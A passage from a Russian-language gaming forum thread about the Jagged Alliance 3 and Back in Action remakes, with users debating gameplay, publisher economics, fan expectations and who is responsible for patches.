Оружие изнашивается всегда, нужно чинить. При этом не тратится общий ресурс ствола - т.е. можно использовать сколь угодно долго.

- Броня. Только шлемы и жилеты.

- Лагерь. Кроме магазина оружия и мерков, есть в Лагере Госпиталь, Рем.Мастерская и Склад. Все здания прокачиваются, апгрейды оплачиваются кредами/голдой (Склад после 5 уровня) и всяким мусором, который дается в награду за некоторые пройденные миссии. Например, чтобы прокачать Госпиталь выше 4 уровня, нужно пройти миссиию в Майами, за которую дадут "медицинский монитор".

Любые процессы тратят Топливо (соляра). Она накапливается сама по себе, ограничена пока на 20 (возможно, с увеличением Склада или репутации будет больше). Тратится на лечение/починку/апгрейды.
Апгрейд Склада увеличивает число слотов для хранения (хотя карманы у мерков огромные, а веса у предметов - нет! т.е. все можно носить в карманах).
Апгрейд Госпиталя - число слотов для расходников при лечении. Чем больше расходников - тем больше вероятность успешного лечения. Хотя повысить эту вероятность можно и добавочной тратой соляры. Без этого лечение может быть неудачным - т.е. НР не поднимутся, расходник потрачен, FAIL.
В Мастерской есть закладка CRAFTING - но у меня на 20м уровне репутации она все еще не активна. Что это и когда - не ясно.

В общем, боевка пока не доработана - но просто исследовать карты интересно (хотя баги и крайне простые действия AI мешают проявить какую-то тактику. Тупо стреляй во все, что видишь, и беги вперед).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем MuMu на 28.12.2011 в 03:30:27
Не проникся. Первое впечатление - фигня.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 28.12.2011 в 03:39:16
Аналогично. И опять донат рулит. :(

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем PARKAN на 31.12.2011 в 02:23:39
так я немогу понять она уже открытая или кто отписался просто удачно попали на закрытый тест?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 01.01.2012 в 00:15:35
закрытая все еще.

кстати - реплики мерков остались старыми (текст), а вот по озвучке не могу понять - то ли переозвучили близко к старым голосам, то ли старые и есть.
Игорь по-русски ничего не говорит, а Иван - каждую вторую реплику, чистым русским языком ("Интересно, о чем думает командир?" (С)). Игги не нанимал, пока бесполезен.

Оружейный дисбаланс на данный момент (у меня 24 уровень) почти выключает из игры дробовики - потому что прокачивать их сложно, а хорошие стволы недоступны из-за требований по скиллу.  ПП (и иногда снайперы) все еще рулят.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Head_Crusher на 02.01.2012 в 12:05:16
Кстати, обратите внимание на погоны Вани в трейлере к JA: Online! Погоны-то лейтенантские! ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Irishman на 02.01.2012 в 12:28:23

on 1324016455, Lion wrote:
Между прочим, Sir'ы не поленились придумать 4 разных сюжета для четырёх игр серии.
Хм... Я правильно понял?
1) JA
2) JA: Deadly Games
3) JA2
4) JA2: Цена свободы


Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 02.01.2012 в 22:13:12
было бы ОЧЕНЬ странно, если бы тогда в 4х играх серии был одинаковый сюжет.

сейчас надобность именно ремейка SF (а это их постоянная идея-фикс) обосновывает тем, что игра рассчитана на фанатов, да и технических фич (типа перехода в 3Д) достаточно, мол.


Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 03.01.2012 в 01:07:08
2Irishman: Да.
2SSSVOLOCH: Я считаю себя фанатом ДЖа. При этом я всегда чуть ли не больше всего ценил квестовую часть и сбалансированный игровой процесс, на мой взгляд, все необходимые улучшения движка уже сделаны, например в НО (про 1.13 и не говорю - там их, на мой взгляд, даже слишком много).
Мне очень понравились новые сюжеты в SJ и В2В, а проходить ещё раз Арулько со всеми старыми квестами я не хочу, тем более в 3D и реалтайме, за этими двумя вещами разработчики регулярно маскируют отсутствие содержательной части.
Я играл в ДЖАЗ - мне сильно не понравилось и само 3Д и то, что разрабы, делая 3Д, упустили из вида кучу дыр и почти уничтожили стратегическую и квестовую части, а там хоть была пошаговка.
Я вообще не люблю игры с "крутой" графикой, и игры где надо быстро щёлкать мышью, я играю чтоб отдыхать, а делать 100500 действий в минуту мне напряжно.

Т.о. сейчас в иру добавят, то что мне не нравится, и уберут то, что мне нравится. :angry:
Лично я, скорее всего, и дальше буду играть в моды - они приятней и интересней.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 03.01.2012 в 01:11:38
какая трагедия

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 03.01.2012 в 02:40:27
2SSSVOLOCH: Вся шутка в том, что это не моя трагедия.
Мне и с модами хорошо. Кстати, насколько я помню, я здесь не единственный человек с такими взглядами, а кому-то ещё этот ремейк продавать надо.  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 03.01.2012 в 02:56:57
А я не против красивого (относительно) Джа2. Но... и вот тут начинается - "реалтайм". Лучше всего было сделано в 1.13, реалтайм до первого выстрела.

Если (на что надеюсь), поддержка сторонних модов будет (и лучше, чем в ДЖАЗе), то тогда я возможно и поиграюсь. Но пока сужу по тушке неизвестного зверя, убитого другим охотником. ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 03.01.2012 в 04:05:58

on 1325547627, Lion wrote:
2SSSVOLOCH: Вся шутка в том, что это не моя трагедия.  
Мне и с модами хорошо. Кстати, насколько я помню, я здесь не единственный человек с такими взглядами, а кому-то ещё этот ремейк продавать надо.

Ты его страшно обидел коментами про ДЖАЗ. Все таки ж свое, родное.  ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 03.01.2012 в 05:36:53

on 1325552758, Zed wrote:
Ты его страшно обидел коментами про ДЖАЗ. Все таки ж свое, родное.  :rolleyes:
Мне очень жаль, я никого обидеть не хотел, но как только я включил ДЖАЗ, я грустно констатировал факт отсутствия 100 секторов с болотом, лесом и прочими дебрями, по которым пробираются враги, ещё меня слегка огорчил 3Д, а больше всего глюки, я, конечно, помню пугающий пост Shico со списком, как убрать все косяки кроме двух.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 03.01.2012 в 11:15:46
- поддержки модов (ни в ремейке, ни в Джа-онлайн, понятно) не будет. Об этом официально и давно говорили.


понимаете, в чем ваша "я-считаю-себя-фанатом-джа" проблема.
она в том, что вы считаете, будто бы при разработки игр обязаны ориентироваться на ваше мнение.

а оно никому не интересно.  ориентируются на мнение тех, кто платить будет.

исходя из этого - меня упоминание "Джаза" не обижает, увольте.
не вы мне за него платили, например.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 03.01.2012 в 13:10:13

on 1325578546, SSSVOLOCH wrote:
исходя из этого - меня упоминание "Джаза" не обижает, увольте.
не вы мне за него платили, например.  

Обиделся таки :) Не злись мы хорошие и добрые, а то что с нездоровым блеском в глазах, так это место тут такое.


on 1325578546, SSSVOLOCH wrote:
она в том, что вы считаете, будто бы при разработки игр обязаны ориентироваться на ваше мнение.  

Кстати забавный феномен:
1. Ой бесхозная франшиза, айда купим.
2. Купили, потому что "это было круто и люди помнят" можно на вариться не особо вкладываясь в рекламу, новый тайтл делать дорого и влом :)
3. Такс что это у нас было? Симулятор людоеда? Не такое ж не купят.
4. Что делать, что делать, паника-паника.
5. О,  а что у нас популярно? Игры про пони? Отлично переделаем людоеда в пони.
6. Что? Говорите это странно, что пони жрет людей блюет и радугой? И лучше бы сеттинг переделать? Нееет у нас тайтл такой, мы что зря бабло за него отдали? Срочно скрешивайте ужа с ежом.
7. Не получается соеденить иголки мешают? Фигня вот тут отрежем, а там побреем.
...
n. Ура оно живое.
n+1. Фанаты серии плюются и наполняют интернеты матами, это может негативно сказаться на продажах.
n+2. Фиг с ними, один фиг их мало, мы же целим на нубов, вон пони воткнули должно прокатить это популярно.
n+3. Блин, нубам это название ничего не говорит, они сволочи решают купить основываясь на том можно ли играть в то что получилось или нет.

Цикл стал повторятся с завидно постоянностью и на выходе или окончательно убитая серия или при внезапном вине НОВОЕ коммюнити фанатов не связанное никак со старым.

Вопрос и нафига было миксить ужа с ежом? Делали бы сразу игру про пони :)
А разгадка одна под раскрученное название проще разводить лохов инвесторов  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 03.01.2012 в 13:37:11
2Zed: Как всегда жжошь напалмом и прямо в точку :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Дядя Боря на 03.01.2012 в 16:58:03

on 1325578546, SSSVOLOCH wrote:
ориентируются на мнение тех, кто платить будет.  

То есть на мнение потребителей будущих? Хммм, а кто их определил то (и опросил?).
А, Зед уже правильно сказал, ориентируются на инвесторов. Ну и - на моду, на красивость ТриДэ. Каковая ориентация в корне убивает всё, и кроме глючных красивостей в игре не остаётся ничего - ни смысла,  ни желания играть в это глюкало, требующее от игрока одной извилины и быстрой реакции указательного пальца...

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 03.01.2012 в 19:17:55

on 1325578546, SSSVOLOCH wrote:
- поддержки модов (ни в ремейке, ни в Джа-онлайн, понятно) не будет. Об этом официально и давно говорили.
- уж вы меня извините, но в ж..у тогда. Не люблю игры, которые нельзя под себя подогнать.
Без обид, разрабы, если вы тут есть. ::)

Про "инвесторов" знаю не по наслышке, сам так работаю - сказали делать и делаешь через себя (хотя в корне и не согласен с политикой руководства).

[offtop] Зед прав. Вот только на Земле об этом не знают. В последнее время только офигительно красивые "убийцы мышей" выпускают, с простым процессом. Интерактивное кино, не требующее от даунов каких-либо мозгодвижений. Обидно, да. ;D
Ещё более обидно, что я в подобное играю (ибо не во что ещё).
А "франшизы", которые некогда были популярны часто превращают в банальное говнецо. Ради бюджета. Хорошие фирмы-разработчики продаются или закрываются\накрываются. И вообще, жизнь - дерьмо, давайте совершим коллективное самосожжение и загадим атмосферу. ::)
Благо, что нет да нет, а выскочки из процесса деградации появляются. ПиСишный Бэтман, квесты (пусть и в большинстве своём серийные), интересные и забавные казуалки-времяубивалки, и народное творчество. :)[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 03.01.2012 в 22:29:33

on 1325585413, Zed wrote:
Кстати забавный феномен:  1. Ой бесхозная франшиза, айда купим.


вот еще одна типичная ошибка.

никто не покупал франшизы типа "JA" или "Disciples" (те вообще в нагрузку шли долгое время).
наоборот, SF их отдавала практически даром - на условиях контроля разработки и прав на западный релиз.

потому что они в коммерческом смысле ценности не имели еще тогда, после провальных релизов JA_2 и аддонов.  

и сейчас bitComposer и нанятые ими неизвестные немцы (а может, и вообще китайцы) - исполнители заказа издателей.
издатель решил, что реал-тайм будет веселее (мне лично тупые ограничения пошага тоже давно надоели, но не об этом речь) - значит, будут делать реал-тайм.
вот и всё.

а фантазии про "купили и назло детям решили испортить" - просто фантазии


ps. кстати, можно вспомнить и другую историю про другой бренд, уж от Interplay:

- мы веселая компания  ZeniMax Media company с игровым подразделением Bethesda Softworks в составе. У нас дофига своих брендов, приносящих дофига денег. Но - к нам пришли работать новые люди, у которых есть план, как из одного заброшенного, но очень раскрученного бренда сделать конфетку.

- идем к глупой компании Interplay. И покупаем бренд. Interplay долго выеживается, оправдываясь интересами фанатов - на самом деле тупо хочет больше бабла. Мы долго торгуемся, в итоге все довольны (у Interplay остаются только права на бренд в ММО).

- начинаем делать. Новая игра будет в 3Д (а не в 2Д), реал-тайм (а не пошаг), мультиплатформа (а не PC only) и вообще это будет шутер (а не squad-based tactic).
Фанаты?  Кто это?  Такие немытые волосатые, которые собирают петиции в интернетике и че-то хотят?  Класть на них.

- Вот мы сделали игру. Она собрала очень большую кучу бабла и наград, стала "Игрой года" по версии десятка изданий, получила несколько маленьких аддончиков и полноценный спин-офф от соседней компании (который собрал не меньше бабла и даже больше наград).
А фанаты? Что фанаты? Новых фанатов в сотни раз больше.

Вот и всё.
Мораль такова: кладут на ваше мнение отнюдь не потому, что все разработчики/издатели подлые негодяи. А вовсе потому, что создание игр - это коммерческое предприятие и подчинено целям получения прибыли. У них есть моральные и законные ограничения, но жанровых практически нет. Что выгодно - то и сделают.
И если бы вас ("я-считаю-себя-фанатом-джа") было не пять с половиной калек (а пять с половиной миллионов, как потенциальная аудитория шутеров, например) - с вашим мнением бы считались. Но, повторю - вы не купите игру, значит - мнение бесполезно.

PPS.  Про пони - отличная идея.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 03.01.2012 в 22:48:24

on 1325618973, SSSVOLOCH wrote:
после провальных релизов JA_2

:o Jagged Alliance 2: Агония Власти разве был провальным коммерчески неоправданным проектом ? ?  :o

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 03.01.2012 в 22:50:31
расчет был, что аддоны окупят долгую и достаточно дорогую разработку самой JA_2
их нельзя отдельно рассматривать в финансовом плане.

так вот - сам себя аддон окупил, конечно (потому что затраты маленькие)
а из минусов все-таки не вытянул.

upd. "Агония Власти" - это уже русское оф.издание, с аддонами. У него были хорошие продажи, на очень долгий период. Но "Бука" ведь и не тратилась на разработку

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 04.01.2012 в 01:17:43

on 1325620104, KombaT wrote:
Jagged Alliance 2: Агония Власти разве был провальным коммерчески неоправданным проектом ? ?
- увы. Иначе бы Сиры бы не оказались там, где сейчас.

2SSSVOLOCH: Тут Вы правы, но есть одно "НО". Как я понял, немцы сейчас делают ремейк Джа2. То есть для тех "пяти с половиной калек", которые играли в оригинал.
Мы можем допустить, что на игру обратят внимание те пять миллионов задротов в стрелялки, ещё пять любящих РТС и те двое, которые без ума от орков.
Окей, обратили они внимание на игру. А что, кроме названия известно об игре? То это стратегия и поддержки модов не будет. Уповать на сюжет? Так это же ремейк, история - баян, грубо говоря.
Ок, красивая картинка. Не буду спорить, выглядит покамест симпатично.
Разнообразным геймплеем? А что это на самом деле?

Остаётся надеется на задорный мультиплеер и на дополнения. Как я понял Джа-Онлайн отдельный проект. А будут ли дополнения не ясно.

То есть в отличие от того же Фоллаута, мы имеет только громкое название.
Если бы разрабы признались честно, что проект - бюджетный (читать, ради бабла), то и никаких претензий.
---

[offtop] А уж наличие какой-нибудь особой фишки (в движке, в сюжете, да хоть в имени ГГ) было бы даже неплохо.
Мне нравились в ДЖАЗе качающиеся пальмы.[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 04.01.2012 в 02:29:33

on 1325578546, SSSVOLOCH wrote:
исходя из этого - меня упоминание "Джаза" не обижает, увольте.
не вы мне за него платили, например.  
Я, возможно, отстал от жизни, но мне казалось, что за игру платит игрок, который сходил в магазин и купил лицензионный диск, как это сделал я, например. :angry:
Раз уж заговорили об этом, у нас есть ветка про ДЖАЗ и в ней список патчей (http://forum.ja2.su/cgi-bin/yabb/YaBB.pl?board=othergms;action=display;num=1214301299;start=170), доводящих её до невылетающего состояния. Если уважаемые разрабы выложат на них линки (в одном посте в правильном порядке) и официальную инструкцию, что куда, в каком порядке ставить, я, даю слово, попробую начать заново,  ;) но часть претензий останется.  :(

on 1325578546, SSSVOLOCH wrote:
ориентируются на мнение тех, кто платить будет.  
Вот по этому на мнение старых фанатов и надо обратить внимание - мы как раз чётко излагаем за что готовы заплатить деньги, а за что нет. За Jagged Allience 2 я заплатил, за ДЖАЗ заплатил, а за Back in Action не собираюсь, почему - уже не раз размусоливалось.
Продавать тупое трёх мерное мочилово, конечно можно, но зачем его называть ДЖагой, к тому же лично у меня есть опсения, что любители тупого кровавого мяса не потянут имеющиеся, старые, хорошо нам известные квесты.
Zed прав. Любители мочилова не слышали про ДЖа, зато у них есть неплохие шансы, начав копать в интернете, чо за игра такая Ja: Back in Action? наткнуться на таких старпёров (17 лет  ;D  ) как я, которые помнят джагу и дадут новоделу очень нелестную характеристику.

on 1325618973, SSSVOLOCH wrote:
И если бы вас ("я-считаю-себя-фанатом-джа") было не пять с половиной калек (а пять с половиной миллионов, как потенциальная аудитория шутеров, например) - с вашим мнением бы считались. Но, повторю - вы не купите игру, значит - мнение бесполезно.  
Про ложку дёгтя в бочке с мёдом слышал? Так вот мы и будем этой ложкой дёгтя, создающей антирекламу. Делали бы продолжение какого-нибудь шутеры - мы бы сидели тихо, а может даже сказали бы, что это хорошое продолжение шутера.

ЗЫ тут Kestrel ссылку давал:
http://stopgame.ru/review/flatout_3_chaos_and_destruction/video.html

Разгромный отзыв, потому что все сравнивают с первыми частями, назвали бы по другому, и, возможно, такого отзыва бы не было.  8)

ЗЫЫ Ремейк по определению делается для меня, Zed'a и ещё трёх с половиной калек, если я нигде не обсчитался.  ;D А нам не нравится нехорошо, правда?
Ведь сами разрабы позиционируют своё творение, как супер ремейк для настоящих ценителей серии. С такой характеристикой ценители итак играть не будут, а вот остальные могут, не будь дураками, спросить мнение этих самых ценителей.  ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 04.01.2012 в 02:36:01

on 1325633373, Lion wrote:
Я, возможно, отстал от жизни, но мне казалось, что за игру платит игрок, который сходил в магазин и купил лицензионный диск
- за игру разрабам платит инвестор. Как бы так. ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 04.01.2012 в 02:40:13

on 1325633761, Green Eyes wrote:
за игру разрабам платит инвестор. Как бы так.
А понятно, вот мы и нашли крайнего. Мне даже интересно стало - а он после выхода Back in Action обанкротится или всё-таки нет.  ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 04.01.2012 в 02:46:41

on 1325634013, Lion wrote:
Мне даже интересно стало - а он после выхода Back in Action обанкротится или всё-таки нет.  
- "обанкротится" либо разработчик, либо издатель (что вряд ли). У инвестора всегда есть обходные пути. ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 04.01.2012 в 06:43:02

on 1325629063, Green Eyes wrote:
Как я понял, немцы сейчас делают ремейк Джа2

Да. По последним данным, вроде бы так - реалтаймовый squad-based, с сюжетом от Джа_2


on 1325629063, Green Eyes wrote:
То есть для тех "пяти с половиной калек", которые играли в оригинал.

А вот тут нет.  Зачем продавать старым немногочисленным фанатам то же самое?  Делают для новых игроков. Которые в нюансы сюжета не посвящены, да и он для них не главное. Главное - симпатичная графика, несколько новых фич, разнообразие оружия и т.п.

Разумеется, нет никаких гарантий, что игра "выстрелит" на новой аудитории.
Так и затрат-то на нее, в сравнении с новым "Кризисом" или "COD:MW" - минимум. Ну, не прокатит, и ладно. В этом и есть ценность "забытых" брендов - и коммерческая, и историческая (в плане, остаться в истории :)).


on 1325633373, Lion wrote:
ЗЫ тут Kestrel ссылку давал:  http://stopgame.ru/review/flatout_3_chaos_and_destruction/video.html


Очень смешно. Мнение пиратского сайта выдается за абсолютную истину? Спорю на сто баксов - Бетесда о нем даже не слышала:). Но им очень стыдно, ага.


on 1325633373, Lion wrote:
я, даю слово, попробую начать заново


Да мне плевать, честно говоря. Патчами должен заниматься издатель, а я ни к ГФИ, ни к Руссобиту отношения не имею уже больше двух лет.
Я и к нынешним проектам (ремейк  и Джа: онлайн) отношения не имею. И даже не защищаю их сейчас, а просто раскрываю вам глаза на то, как оно вообще в мире устроено :). Правда, безрезультатно.

Что касается вопроса "зачем называть тупое мочилово Джа?" - а кто запретит?
Захотели и назвали.   Вопросы концепции нужно адресовать к тем же, кто оплачивал разработку оригинала (JA_1, JA_2) - т.е. к Strategy First.  

И в этой истории нет никакого особо "инвестора" - деньги неспоредственно разработчикам платит не мифический "покупатель" (см. "я-считаю-себя-фанатом-джа"), а локальный издатель.
В случае с Мистлендом это были ГФИ/Руссобит, за работу F3 платила "Акелла" (помните еще эти обещания и пафос в прессе, а?), за работу нынешним условным "немцам" платит bitComposer (достаточно известное издательство среднего эшелона). Т.е. работодатель всегда четко известен, и он никакой не пришлый со стороны нефтяной магнат.



Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 04.01.2012 в 09:44:30

on 1325618973, SSSVOLOCH wrote:
а фантазии про "купили и назло детям решили испортить" - просто фантазии  

О.о это где ты там у меня такое прочитал ?  ;D
on 1325618973, SSSVOLOCH wrote:
А фанаты? Что фанаты? Новых фанатов в сотни раз больше.
Вот и всё.  

А я как то по другому написал ? Непонятно только одно зачем поганить "светлую память" серии если один фиг выйди эта игра под другим названием результат был бы таким же?
Раскрученный тайтл это такая подушка безопасности, если выпустим фигню кто то да купит из любопытства.
С точки зрения бизнеса все ок, с точки зрения фаната хочется "взять и уе**ть" (с)  ;D
 
on 1325618973, SSSVOLOCH wrote:
PPS.  Про пони - отличная идея.  

;D Забацаем для яблокофона ?  ;D

on 1325618973, SSSVOLOCH wrote:
Мораль такова: кладут на ваше мнение отнюдь не потом

В этой многострадальной теме тоже самое в разных вариациях написано много раз. Все все понимают, но ворчать - это круто  ;D Ну и фанат он на то и фанат, что бы облаять ремейк :)

on 1325620104, KombaT wrote:
Jagged Alliance 2: Агония Власти разве был провальным коммерчески неоправданным проектом  

В США - да. А США по баблу это круче чем весь мир целиком. Фоллаут тоже провалился.
А возьми сейчас топ продаж того времени и кто что оттуда вспомнит? :) Симсы, Дьябла, Старкрафт, пожалуй и все, а с тактиками облом, не кассовый жанр.

on 1325648582, SSSVOLOCH wrote:
Я и к нынешним проектам (ремейк  и Джа: онлайн) отношения не имею. И даже не защищаю их сейчас, а просто раскрываю вам глаза на то, как оно вообще в мире устроено :). Правда, безрезультатно.  

;D Я вот вообще не ожидал что ты "поведешься". Наболело видать. Но тем не менее читать было весело.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 04.01.2012 в 11:10:24
2SSSVOLOCH:
Quote:
Да мне плевать, честно говоря. Патчами должен заниматься издатель, а я ни к ГФИ, ни к Руссобиту отношения не имею уже больше двух лет.  
Странно, обычно разработчики к своим детищам (а в разработке Джа3, как я понял, ты участвовал непосредственным образом) относятся как к своим детям (какая тавтология ;D). В смысле, коли сделал, вложил в неё свой труд и время, то любит до гроба и будет защищать от нападок, помогать желающим поиграть и прочая-прочая. Даже если в своё время разосрался с шефами. А тут у тебя какое-то другое отношение. Если оно было таким же у остальной команды, неудивительно, что Джа3 стал былинным фейлом.

Кстати, насчёт Фолла: да, третья часть стала коммерчески успешной. Ну оно и не удивительно, расчёт на детей (кто там вякнул про возрастное ограничение?) поколения Пепси сделал своё дело, успешно переняв опыт у Калофдутия. А вот реакцию старых фанатов Зед правильно описал: хочется "взять и уе**ть" (с) (кстати, я третий фолл так и не прошёл даже на половину - наскучило, мля, причём я очень не привередливый фанат) И именно они стали первыми ковыряться во внутренностях недо-Фолла и именно с целью доведения его до состояния того самого Фолла, который все ожидали столько лет. Если бы не услужливо предоставленный Беседкой SDK сабж скорее всего был бы забыт после первого прохождения.
А потом вышел Фолл: Новый Вегас. И это внезапно стал почти тот самый Фолл, который все так ждали! Да, шутер, да, опостылевше-размытые текстуры опостылевшего 3Д. Но там были КВЕСТЫ! Тот тип квестов, который мы знаем из старого доброго Фолла. Нет чёткой границы "эти - хорошисты, эти - плохиши". Линия добра и зла очень размыта. Есть реальная свобода выбора с соответствующими последствиями. Т.е. ФНВ привлёк в равной степени как новичков (пыщ-пыщ, новый шмот), для которых это была первая игра серии (помните из тематической ветки "Как заядлый фоллщик я стрейфился в сторону в перестрелке"? ;)), так и старых фанатов.
Теперь вопрос: почему эти две игры такие разные? Вроде издатель тот же. Движок тот же. А разгадка в разработчике, точнее в его составе. Туда входили те люди, которые приложили руку к исходной серии сабжа. Их было немного, и они не все были из стана костяка команды, но их хватило. Уверен, только благодаря им, их опыту, их приверженности к оригиналу, новая команда смогла создать продукт, который привлёк оба лагеря игроков.
Интересно, могут ли команды разработчиков Джа3 и БиА похвастаться такой же приверженностью к своему продукту? С Джа3 такого похоже не наблюдалось, отзывы были далеко не радушные. Ждём выпуска БиА.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 04.01.2012 в 17:09:52
А что это у нас тут один SSSVOLOCH: отдувается за детищЪ нынешней gamesиндустрии, разве не осталось на форуме никого причастных к нашим издательствам? Один единственный шпиЁн, наблюдающий за действиями подпольного цеха старых фанатов JA?

*пронзительно вглядывается в глаза партизан*

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 04.01.2012 в 21:51:53

on 1325664624, Legend wrote:
Интересно, могут ли команды разработчиков Джа3 и БиА похвастаться такой же приверженностью к своему продукту?


а смогут ли они похвастаться таким же бюджетом и готовыми технологиями, какие были у Obsidian для F:NV?
разумеется, нет.   Для справки - когда те же самые великие люди работали над Project Van Buren - получалось гавно. Но зато для истинных фанатов:).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 04.01.2012 в 23:27:36

on 1325648582, SSSVOLOCH wrote:
Очень смешно. Мнение пиратского сайта выдается за абсолютную истину? Спорю на сто баксов - Бетесда о нем даже не слышала:). Но им очень стыдно, ага.  
А им его видеть и не надо. А вот потенциальный покупатель запросто на него наткнётся, а вот купит ли он после такого обзора?
Особенно, если они разные и их много.  ::)

on 1325648582, SSSVOLOCH wrote:
И даже не защищаю их сейчас, а просто раскрываю вам глаза на то, как оно вообще в мире устроено :). Правда, безрезультатно.  
Почему безрезультатно, реальность мы видим, но выражать своё недовольство мы имеем право и не собираемся от него отказываться.

ЗЫ Например с теми кто под названием "Гамлет" ставят какие-то порноспектакли регулярно судятся, потому что "Гамлет" это то, что написал Шекспир, а порноспектакль - совсем другое и, если не вдаваться в художественные достоинства данной конретной постановки, если б она не называлась "Гамлет" претензий и исков бы не было.  ;)

ЗЫЫ Я как-то упустил из вида, а Герои Меча и Магии теперь тоже реалтаймовые с умной паузой?  ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 05.01.2012 в 00:35:13

on 1325664624, Legend wrote:
Странно, обычно разработчики к своим детищам (а в разработке Джа3, как я понял, ты участвовал непосредственным образом) относятся как к своим детям (какая тавтология ). В смысле, коли сделал, вложил в неё свой труд и время, то любит до гроба и будет защищать от нападок, помогать желающим поиграть и прочая-прочая.


как-то пропустил этот наивный крик души.

товарищ.
создание патчей к лицензионным играм в России предполагает и их защиту Старфорсом.
а доступ к ключам и созданию инсталлятора не у всех желающих есть.

и даже когда я работал после Мистленда в ГФИ - у меня его не было (потому что занимался другими делами, а патчи передали в отдел локализации).

так что с вашей коллективной фанатской замутненностью порой может спорить только коллективная наивность.
нельзя делать патчи, не обладая исходниками к игре (выносить которые у меня никакого желания не было) и доступом к защите ехе-шника.


on 1325708856, Lion wrote:
а вот купит ли он после такого обзора?


История ответила - да, купит. Миллионными тиражами. И добавки в виде простеньких паков по 20$ попросит. И их купит, 5 штук подряд.
Вы склонны преувеличивать не только свое влияние на мир, но и влияние прессы на продажы. Оно ничтожно (и это доказано не раз с цифрами - можно хотя бы колонки на Канобу почитать, Галенкин там вполне доступно, для школьников, это разъясняет).
Именно поэтому бумажная пресса и умирает - в СНГ ее практически не осталось, мировые переквалифицируются в сферу "журналов о развлечениях вообще" и т.п.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Legend на 05.01.2012 в 01:09:50
2SSSVOLOCH:
Quote:
Для справки - когда те же самые великие люди работали над Project Van Buren - получалось гавно
А вот это я не понял каким макаром ты судишь. То что проект так и не увидел свет в виде готового продукта, а только в виде пре-альфы? Ну это уже не к команде разрабов, а к издателю.


Quote:
а смогут ли они похвастаться таким же бюджетом и готовыми технологиями, какие были у Obsidian для F:NV?
Знаешь такую игру Бригада Е5: Новый Альянс? Они вообще с ноля начинали, полного. Только уже потом нашли и финансирование и издателя. Кстати, часть команды разрабов основала этот форум. Их пре-альфа-демку v.4.15 многие (и я в том числе) зашпиливали до дыр.


Quote:
создание патчей к лицензионным играм
А я призываю тебя клепать самому на коленке патчи? Достаточно самого простого - совета. Вон Серёга Лёвович тебя просит разобраться с патчами, чтобы нормально поиграть в игру. А с твоей стороны я пока вижу только тонны говна, которыми ты поливаешь "наивных и замутнённых" поклонников серии, продолжая сеять смуту в их сердцах. Вроде вот он, один из команды, может поможет. Ан нет, только обзывается и какашками кидается. Обидно.
Кстати, лицензионность и прочие старфорсы для некоторых ребят почему-то не становятся препятствием при создании патчей, за что многих из них до сих пор помнят и чтят. Да что уж говорить, был один такой товарищ, который в одиночку клепал дрова под винду для карточек Creative. Последние за это на него сильно обижались и даже судились. Из-за чего потеряли дополнительное стадо поклонников, которые на фоне кривых дров и разборок выбрали продукт других производителей. Так что не надо про лицензионность.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем SSSVOLOCH на 05.01.2012 в 01:23:57

on 1325714990, Legend wrote:
Знаешь такую игру Бригада Е5: Новый Альянс? Они вообще с ноля начинали, полного. Только уже потом нашли и финансирование и издателя. Кстати, часть команды разрабов основала этот форум. Их пре-альфа-демку v.4.15 многие (и я в том числе) зашпиливали до дыр.


видел, и что?  они выпустили в релиз ту самую "пре-альфа-демку"? или все-таки что-то доделали?
Основать форум - величайшее достижение, согласен:).  Я вот ни одного не основал.


on 1325714990, Legend wrote:
А я призываю тебя клепать самому на коленке патчи? Достаточно самого простого - совета. Вон Серёга Лёвович тебя просит разобраться с патчами, чтобы нормально поиграть в игру. А с твоей стороны я пока вижу только тонны говна, которыми ты поливаешь "наивных и замутнённых" поклонников серии, продолжая сеять смуту в их сердцах. Вроде вот он, один из команды, может поможет. Ан нет, только обзывается и какашками кидается. Обидно.


что-то я не заметил выше просьб - только то самое "гавно", хамство и призывы покаяться.
просят как-то по-другому, мне кажется.
Тема с патчами - к издателю, еще раз говорю. Это ему покупатели лицензионной версии платили свои деньги, ему пусть и предъявляют свои претензии. И по закону, и по логике так.

А что касается  
on 1325714990, Legend wrote:
для некоторых ребят почему-то не становятся препятствием при создании патчей, за что многих из них до сих пор помнят и чтят

